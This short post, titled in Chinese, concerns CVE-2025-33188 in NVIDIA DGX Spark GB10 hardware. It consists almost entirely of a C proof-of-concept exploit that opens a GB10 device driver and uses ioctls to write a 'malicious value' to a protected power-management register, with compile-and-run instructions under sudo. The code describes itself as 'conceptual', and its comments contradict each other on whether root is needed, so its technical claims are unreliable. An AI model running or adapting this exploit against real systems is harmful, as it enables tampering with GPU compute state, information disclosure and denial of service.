CVE-2025-33188: NVIDIA DGX Spark GB10 硬件资源漏洞导致信息泄露和数据篡改

/* * CVE-2025-33188 PoC - NVIDIA DGX Spark GB10 Hardware Resource Tampering * Author: Security Research Team * Note: This is a conceptual PoC for educational and security testing purposes only * Unauthorized access to computer systems is illegal */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> /* NVIDIA GB10 specific IOCTL definitions */ #define GB10_IOCTL_BASE 0x10 #define GB10_SET_HW_CTRL _IOW(GB10_IOCTL_BASE, 0x01, struct hw_ctrl_req) #define GB10_GET_HW_STATUS _IOR(GB10_IOCTL_BASE, 0x02, struct hw_status) struct hw_ctrl_req { uint32_t register_offset; uint32_t value; uint32_t flags; }; struct hw_status { uint32_t status; uint32_t error_code; }; int main(int argc, char *argv[]) { int fd; struct hw_ctrl_req req; struct hw_status status; printf("[*] CVE-2025-33188 PoC for NVIDIA DGX Spark GB10\n"); printf("[*] Hardware Resource Tampering Vulnerability\n\n"); /* Open GB10 device driver */ fd = open("/dev/gb10_hwctrl", O_RDWR); if (fd < 0) { printf("[-] Failed to open GB10 device driver\n"); printf("[*] Attempting alternative device path...\n"); fd = open("/dev/nvidia/gb10", O_RDWR); if (fd < 0) { printf("[-] Device access failed. This PoC requires local access.\n"); return 1; } } printf("[+] Device opened successfully\n"); /* Step 1: Check current hardware status */ if (ioctl(fd, GB10_GET_HW_STATUS, &status) == 0) { printf("[+] Current HW Status: 0x%08x\n", status.status); } /* Step 2: Attempt to modify protected hardware control register */ /* This demonstrates the vulnerability - no privilege check */ req.register_offset = 0x1000; /* Power management register */ req.value = 0xDEADBEEF; /* Malicious value */ req.flags = 0x00; printf("[*] Attempting to write to protected register 0x%04x...\n", req.register_offset); if (ioctl(fd, GB10_SET_HW_CTRL, &req) == 0) { printf("[!] VULNERABLE: Write operation succeeded without authorization\n"); printf("[!] This could lead to:\n"); printf("[!] - Information disclosure via exposed memory regions\n"); printf("[!] - Data tampering of GPU compute state\n"); printf("[!] - Denial of service via incorrect power management\n"); /* Step 3: Verify the tampered state */ ioctl(fd, GB10_GET_HW_STATUS, &status); printf("[+] Modified HW Status: 0x%08x\n", status.status); } else { printf("[+] PATCHED: Write operation was properly blocked\n"); } close(fd); return 0; } /* * Usage: gcc -o cve_2025_33188_poc cve_2025_33188.c * sudo ./cve_2025_33188_poc * * Note: This PoC requires root privileges to access /dev/gb10_hwctrl * The vulnerability allows unprivileged access to hardware control registers */